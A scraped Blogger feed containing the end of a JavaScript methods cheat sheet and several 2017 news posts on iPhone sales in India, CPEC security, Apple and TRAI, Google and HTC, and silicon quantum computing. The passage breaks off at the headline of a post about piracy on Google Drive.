<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
log()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toSource()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
LOG10E</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toExponential()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
LOG2E</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toFixed()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
max()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toPrecision()</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
MAX_VALUE</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
toString()</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
MIN_VALUE</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
valueOf()</div>
</td></tr>
</tbody></table>
<div style="border: 0px; font-family: inherit; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
</div>
<h3 class="cheat_sheet_output_title" id="title_7_116" style="border: 0px; color: #19232d; font-family: inherit; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: #333333; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">JavaScript RegExp Object</span></h3>
<div class="cheat_sheet_output_block" id="block_7_116" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<table border="0" cellpadding="0" cellspacing="0" class="cheat_sheet_output_twocol" id="cheat_sheet_output_table" style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px; font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
compile()</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
lastParen</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
exec()</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
leftCOntext</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
global</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
multiline</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
ignoreCase</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
rightContext</div>
</td></tr>
<tr class="altrow countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
input</div>
</td><td class="cheat_sheet_output_cell_2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
source</div>
</td></tr>
<tr class="countrow" style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td class="cheat_sheet_output_cell_1" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
lastIndex</div>
</td><td class="cheat_sheet_output_cell_2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;" valign="top"><div style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
test()</div>
</td></tr>
</tbody></table>
<div style="border: 0px; font-family: inherit; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
<h3 id="incrementingdecrementing-numbers" style="border: 0px; color: #19232d; font-family: inherit; font-size: 18px; line-height: 1.5; margin: 0px 0px 24px; padding: 0px; vertical-align: baseline;">
<span style="border: 0px; color: #333333; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">Incrementing /decrementing numbers</span></h3>
<table style="background-color: transparent; border-collapse: collapse; border-spacing: 0px; border: 0px; font-family: inherit; font-size: 13px; margin: 0px; max-width: 100%; padding: 0px; vertical-align: baseline;"><tbody style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Increment</td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">++x or x++</td></tr>
<tr style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">Decrement</td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; margin: 0px; padding: 4px 7px; vertical-align: baseline;">–x or x–</td></tr>
</tbody></table>
<div style="border: 0px; font-family: inherit; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
<br /></div>
<div style="border: 0px; font-family: inherit; margin-bottom: 1.857em; padding: 0px; vertical-align: baseline;">
The difference is that ++x (–x) returns the incremented (decremented) value, while x++(x–) returns the previous value of x.</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-36637325301042506162017-09-09T21:30:00.000+05:302017-09-09T21:30:05.422+05:30Disclosed!! The reason why iPhone manages to score in price-sensitive market like India.<div dir="ltr" style="text-align: left;" trbidi="on">
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Why iPhone manages to score in price-sensitive market like INDIA</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-oNrBOG0IYhiOXxB2dH0cq4oFkLL4VP8UDJIjy2ELOk7XdNgy0SKjXkv9Soyc3NCtrW0i4iC-ZunrRi-SFHtTkxXXlYpq8vDsstlThYXknemjUbHcbew9lXk8qdhYXvSTEI6QGgwQyn9U/s1600/images+%25288%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Disclosed!! The reason why iPhone manages to score in price-sensitive market like India." border="0" data-original-height="166" data-original-width="303" height="219" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-oNrBOG0IYhiOXxB2dH0cq4oFkLL4VP8UDJIjy2ELOk7XdNgy0SKjXkv9Soyc3NCtrW0i4iC-ZunrRi-SFHtTkxXXlYpq8vDsstlThYXknemjUbHcbew9lXk8qdhYXvSTEI6QGgwQyn9U/s400/images+%25288%2529.jpg" title="Disclosed!! The reason why iPhone manages to score in price-sensitive market like India." width="400" /></a></div>
<div>
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India has become a sweet spot for Apple which is facing headwinds elsewhere, especially China and Taiwan. A few years ago, India saw little of the frenzy that Apple launches unleashed in many other countries.<br />
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But come September 12, when Apple is going to launch iPhone 8, India too will be going crazy over the new launch. In just three-four years, India has emerged as an important part of Apple's global business.<br />
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iPhone did not stand much chance in a price-sensitive market such as India. That's why initially, Apple did not count on India. But slowly Apple has started making inroads.<br />
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The reason? iPhone has emerged as a primary class marker in India. After car, smartphone is the biggest status symbol, and iPhone leads in that role.<br />
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A big section of rich Indians has turned into Apple devotees who would upgrade their phone with every launch—not just because of new features but also as an easy and instant marker of their class.<br />
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iPhone's prospects in India are growing not due to the rich customers but a very large and emerging aspiration class of those who are no-so-rich but have significant disposable income. iPhone's out-of-reach pricing is in fact one of its attractive features for this aspiration class which is growing by the day.<br />
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That reflects in Apple's zooming sales in India. iPhone sales in India surged more than 50% in the year ended September 2016, when the smartphone maker reported its first annual sales and profit decline in 15 years.<br />
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Apple shipped a record 2.5 million iPhones in India from October 2015 to September 2016, up 56% on year, according to an estimate by Counterpoint Technology Market Research. In quarter ended March 2017, Apple's revenue grew over 20% in India even as it saw a slump in iPhone sales globally.<br />
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Growing appeal of iPhone in India has made Apple recognize the huge growth potential. Apple has begun to take India seriously. It has offered discounts, buybacks and EMI schemes on all its phones. It has launched a new 'Assembled in India' iPhone SE.<br />
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"Apple's strategy in India is to sell more phones," Tarun Pathak, senior analyst at Counterpoint Research told ET. "The aspiration factors is higher (in India) than anywhere else."<br />
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Pathak is right. India's growing aspirational class holds a lot of potential for Apple, which has just a 3% market share in India's smartphone market.<br />
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-1971506263249252702017-09-09T19:30:00.000+05:302017-09-09T19:30:41.629+05:30China and Pakistan have agreed to strengthen anti-terrorism and security cooperation along a $ 50 billion economic corridor.<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 style="text-align: left;">
China, Pakistan agree to strengthen anti-terrorism cooperation along Gwadar port</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiO5m1WZJx1PirZHrGnQqJRROpeiiIvXI8j_b-E8iCh6xJitN7fNelIyGgIPh2Sf2ZheY3L6Ssjh7GXxT7gJYLnqvPdQJ6nLMgJbH_oY-ucbpqODkJih_15yHFkAij6c_gnmUSP4JvB-0zL/s1600/download.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="China and Pakistan have agreed to strengthen anti-terrorism and security cooperation along a $ 50 billion economic corridor." border="0" data-original-height="170" data-original-width="296" height="367" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiO5m1WZJx1PirZHrGnQqJRROpeiiIvXI8j_b-E8iCh6xJitN7fNelIyGgIPh2Sf2ZheY3L6Ssjh7GXxT7gJYLnqvPdQJ6nLMgJbH_oY-ucbpqODkJih_15yHFkAij6c_gnmUSP4JvB-0zL/s640/download.jpg" title="China and Pakistan have agreed to strengthen anti-terrorism and security cooperation along a $ 50 billion economic corridor." width="640" /></a></div>
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<div>
<b>Beijing:</b> China and Pakistan have agreed to strengthen anti-terrorism and security cooperation along a $ 50 billion economic corridor that links the restive regions of the two countries through a network of rail and road projects.</div>
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<div>
The China-Pakistan Economic Corridor (CPEC) connects Xinjiang province in northwest China with the deep-water Gwadar port on the Arabian Sea in southwestern Pakistan. It faces challenges from Islamic militants in both the regions.</div>
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The CPEC, a part of Chinese President Xi Jinping's Belt and Road (B&R) initiative, runs through Pakistan-occupied Kashmir (PoK) and India has raised objection to the project.</div>
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The security cooperation agreement was reached when Meng Jianzhu, head of the Commission for Political and Legal Affairs of the Communist Party Central Committee, met visiting Pakistani Foreign Minister Khawaja Asif and Pakistani National Security Adviser Nasser Khan Janjua on Friday in Beijing.</div>
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Reports have said that Pakistan deployed a 15,000-strong military force to protect Chinese nationals working on various projects linked to the CPEC. This includes 9,000 Pakistan Army soldiers and 6,000 para-military forces personnel.</div>
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About 71,000 Chinese reported to have visited Pakistan last year.</div>
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Meng praised Pakistan's efforts in counter-terrorism and called for strengthened anti-terrorism and security cooperation in building the ambitious economic corridor.</div>
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"China and Pakistan, as good friends, friendly neighbors and all-weather strategic cooperative partners, have always firmly supported each other's core interests," Meng said. Chinese State Councillor Yang Jiechi met Asif. "Promoting the all-weather strategic cooperative partnership between China and Pakistan is an unchanged policy," Yang said.</div>
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<div>
He called for advancing the CPEC project and strengthening communication on issues of regional security. Asif said maintaining friendly relations with China is the cornerstone of Pakistan's foreign policy. Pakistan would take the opportunity provided by the CPEC to boost bilateral ties, he said.</div>
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On Friday, Chinese Foreign Minister Wang Yi praised Pakistan's anti-terrorism record when he met Asif.</div>
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"Pakistan is a good brother and iron friend of China. No one knows Pakistan and understands Pakistan better than China," he said.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-61451724672622209182017-09-09T14:21:00.000+05:302017-09-09T14:21:28.714+05:30Turkey: Germans initially denied visit make it to NATO base.<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 style="text-align: left;">
Germans initially denied visit make it to NATO base</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2eDkSdX1JTrPEqWtSRYInQgqrOIfGy1a7DQVzren7XML_Jn6uTjzVc99_7xwtiob1cvUNKcFTYrx6IGinTjuksmSYP6fQPz5_LbHU__trVDWngoN-ZsL85V2C3G1hK9AkBKfYEe4SZCS/s1600/images.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Turkey: Germans initially denied visit make it to NATO base" border="0" data-original-height="147" data-original-width="343" height="274" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2eDkSdX1JTrPEqWtSRYInQgqrOIfGy1a7DQVzren7XML_Jn6uTjzVc99_7xwtiob1cvUNKcFTYrx6IGinTjuksmSYP6fQPz5_LbHU__trVDWngoN-ZsL85V2C3G1hK9AkBKfYEe4SZCS/s640/images.png" title="Turkey: Germans initially denied visit make it to NATO base" width="640" /></a></div>
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ANKARA, Turkey -- Turkey's state-run news agency says a delegation of German lawmakers has arrived at a NATO air base in central Turkey to visit German troops stationed there.<br />
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Amid souring relations between the two countries, Turkey initially blocked the lawmakers' request to visit German troops at the base in the city of Konya. Turkey later agreed to allow German legislators to take part in a visit by NATO officials.<br />
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Anadolu Agency said the seven legislators, accompanied by NATO Deputy Secretary General Rose Gottemoeller, had arrived in Konya on Friday.<br />
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The German troops are part of a NATO air surveillance mission supporting the alliance's fight against the Islamic State group.<br />
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Earlier this year, Germany moved troops from Turkey's southern Incirlik air base to Jordan over a spat concerning lawmakers' access to German troops there.<br />
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-40918147254535562312017-09-08T21:30:00.000+05:302017-09-08T21:30:28.468+05:30Apple rejects Trai anti-spam app.<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 style="text-align: left;">
Apple refuses to allow TRAI's DND app on the App Store; TRAI chairman calls situation "ridiculous"</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZSUH4bedJ36_6IWHgQj8OKpleKsTsevqX8K5o-hX0C2vvHigUIRLnD6BizL7-wdY50e79_u339Ap7W7vBYDXGGy0GH2cu9SbssJ6JZtp1mG-HdwfHeCxFFKTJbshwIfCSmP8Wzfm70Fgz/s1600/images+%25287%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Apple rejects Trai anti-spam app" border="0" data-original-height="162" data-original-width="311" height="208" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZSUH4bedJ36_6IWHgQj8OKpleKsTsevqX8K5o-hX0C2vvHigUIRLnD6BizL7-wdY50e79_u339Ap7W7vBYDXGGy0GH2cu9SbssJ6JZtp1mG-HdwfHeCxFFKTJbshwIfCSmP8Wzfm70Fgz/s400/images+%25287%2529.jpg" title="Apple rejects Trai anti-spam app" width="400" /></a></div>
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Apple is still refusing to allow the Telecom Regulatory Authority of India’s (TRAI) anti-spam Do Not Disturb app on the App Store. The app purportedly fights spam, by reporting such messages and calls directly to TRAI, and is available on the Play Store.</div>
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The TRAI DND 2.0 app is available on Google PlayThe TRAI DND 2.0 app is available on Google Play</div>
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Apple has been refusing to allow the app on the App Store citing privacy violations. TRAI claims that the app violates no privacy norms. Bloomberg quotes TRAI chairman Ram Sewak Sharma as saying that, “It is a ridiculous situation, no company can be allowed to be the guardian of a user’s data.”</div>
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The TRAI DND app requires access to a great deal of user data, including location information, access to call and message logs, the ability to read messages, access to the media library, Device ID, full network access, etc. While a number of third-party apps on the App Store and Play Store ask for and receive most of these permissions, the DND app’s requirement for text message data is likely violating Apple’s privacy policies.</div>
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Bloomberg reports that Sharma has claimed that Apple’s Privacy Policy allows for the sharing of data with Apple’s affiliates and strategic partners, but not with third parties.</div>
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Sharma states that TRAI has engaged in talks with Apple numerous times on this issue, to no avail. The report adds that TRAI is now floating a consultation paper on “users’ control over their personal information and rules on the flow of data through telecommunications networks.” Sharma says that the rules could be formed based on the findings and that they could be incorporated as “part of the telecom licensing process.”</div>
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It must be noted that the TRAI DND 2.0 app on the Play Store isn't particularly good. With a rating of just 2/5 and 836 out of 1231 reviews going for a one-star rating, TRAI has a lot to fix.</div>
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Primarily, the reviewers complain that the app is buggy, doesn't connect to the internet and that the reporting process is as good as useless.</div>
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<div>
Apple is yet to officially comment on the matter.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-40853097973456731062017-09-08T19:30:00.000+05:302017-09-08T19:30:28.587+05:30Google planning to buy HTC's smartphone division.<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 style="text-align: left;">
Google might buy HTC's smartphone division, report claims that negotiations are almost complete.</h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZrxSqCQMaw7ZbS1CRvFbXf8x4c0_aHSgu1sJj6mpWdCny-PVkmqLlYT9EIh9tI_SJIGFGDXT0-5JQgpA08HQ4vgFQHGYa-grjAooUvhKhnTPQF3v_HGPIoakSliTSXFAJri0FDDuBnoxQ/s1600/thumb.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Google planning to buy HTC's smartphone division." border="0" data-original-height="314" data-original-width="728" height="172" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZrxSqCQMaw7ZbS1CRvFbXf8x4c0_aHSgu1sJj6mpWdCny-PVkmqLlYT9EIh9tI_SJIGFGDXT0-5JQgpA08HQ4vgFQHGYa-grjAooUvhKhnTPQF3v_HGPIoakSliTSXFAJri0FDDuBnoxQ/s400/thumb.jpg" title="Google planning to buy HTC's smartphone division." width="400" /></a></div>
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Tech giant Google is expected to buy the Taiwanese smartphone manufacturer HTC. According to a PhoneArena report HTC is not in a good financial condition as August 2017 was one of the worst months for the company. Revenue has reportedly fallen by 51.5 percent compared to last month, and by as much as 54.3 percent compared to August last year.</div>
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The company's only flagship device, the HTC U11 is only a few months old, but it's already too late to save the company's revenue. As PhoneArena notes, those who wanted the phone have bought it, everyone else is either happy with what they have or are waiting for the next wave of flagships.</div>
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<div>
According to the report, the Taiwanese smartphone manufacturer is in the "final stage of negotiation" for the sale of its business to tech giant Google. The report, which cites Commercial Times, a Chinese publication, mentions two options that Google is considering. Google will either become a strategic partner of HTC or it will buy the entire smartphone unit. The HTC Vive VR unit is not part of the negotiations.</div>
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HTC manufactured the Google Pixel and Pixel XL, but the new Pixel devices are expected to be manufactured by HTC and LG, with LG making the larger device.</div>
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<div>
In our opinion, a sale of this nature certainly makes sense for both parties. HTC is a capable device manufacturer and simply lacks brand value and the appeal of rivals like Samsung. Google is just getting into the premium devices business and HTC's expertise in this regard will be invaluable.</div>
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<div>
The value of the deal, if it happens, will be interesting to note considering that Google bought Motorola Mobility for $12.3 billion in 2011 and then sold it to Lenovo for $12.4 billion in 2014.</div>
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<div>
Following the Commercial Times' report, HTC's shares apparently fell by eight percent in just one day. HTC declined to comment on "rumors and speculations" in the market.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-43254936828986530132017-09-07T21:30:00.000+05:302017-09-07T21:30:00.160+05:30Effective way to build quantum computers :american researchers say<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 style="height: 0px; text-align: left;">
Australian researchers find a more cost effective way to build quantum computers<br /></h3>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ2OVOVxNRsYYT9NkwOSqN532oyl7zc8-D2opdUW_XAsVqjt9_K48yU4hmwBQnsZnqSdgfUq9om0ffE11WQMh2foFWv8J24Uwv8rfalrcTnJ4-YMGgsXpNLzRpS9OFIAeIRCnViG6NpMFL/s1600/images+%25286%2529.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Effective way to build quantum computers :american researchers say" border="0" data-original-height="183" data-original-width="276" height="265" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ2OVOVxNRsYYT9NkwOSqN532oyl7zc8-D2opdUW_XAsVqjt9_K48yU4hmwBQnsZnqSdgfUq9om0ffE11WQMh2foFWv8J24Uwv8rfalrcTnJ4-YMGgsXpNLzRpS9OFIAeIRCnViG6NpMFL/s400/images+%25286%2529.jpg" title="Effective way to build quantum computers :american researchers say" width="400" /></a></div>
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Researchers in Australia have found a new way to build quantum computers which they say would make them dramatically easier and cheaper to produce at scale.</div>
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Quantum computers promise to harness the strange ability of subatomic particles to exist in more than one state at a time to solve problems that are too complex or time-consuming for existing computers.</div>
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Google, IBM and other technology companies are all developing quantum computers, using a range of approaches. The team from the University of New South Wales say they have invented a new chip design based on a new type of quantum bit, the basic unit of information in the quantum computer, known as a qubit.</div>
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The new design would allow for a silicon quantum processor to overcome two limitations of existing designs: the need for atoms to be placed precisely, and allowing them to be placed further apart and still be coupled.</div>
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Crucially, says project leader Andrea Mello, this so-called “flip-flop qubit” means the chips can be produced using the same device technology as existing computer chips. “This makes the building of a quantum computer much more feasible since it is based on the same manufacturing technology as today’s computer industry,” Mello said.</div>
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That would allow chips for quantum computers to be mass-manufactured, a goal that has so far eluded other researchers. IBM’s quantum computer in the United States has 16 qubits, meaning it can only perform basic calculations. Google’s computer has nine qubits.</div>
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A desktop computer runs at gigaflops. The world’s fastest supercomputer, China’s Sunway TaihuLight, runs at 93 petaflops, but relies on 10 million processing cores and uses massive amounts of energy.</div>
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In theory, even a small 30-qubit universal quantum computer could run at the equivalent of a classic computer operating at 10 teraflops. The researchers’ paper will be published in Nature Communications.</div>
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Laszlo Kish, a professor at Texas A&M University, said it was too early to say if the research was a breakthrough “but it may be a step in the proper direction” in solving some of the key obstacles to quantum computing.</div>
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The university has set up a company, Silicon Quantum Computing Pty Ltd, with investments from Telstra, Australia’s Commonwealth Bank and the Australian and New South Wales governments. The A$83 million company plans to build a 10-qubit prototype silicon quantum integrated circuit – the first step in building the world’s first quantum computer in silicon - by 2022.</div>
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Darshan Savlahttp://www.blogger.com/profile/13966692025486400981noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-13808584443826912072017-09-07T19:30:00.000+05:302017-09-07T19:30:11.910+05:30How Google Drive is turning out to be a popular The Pirate Bay alternative to torrenters<div dir="ltr" style="text-align: left;" trbidi="on">
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Google Drive as The Pirate Bay – More and more pirates are using Google Drive to leak Films and TV Shows</h3>
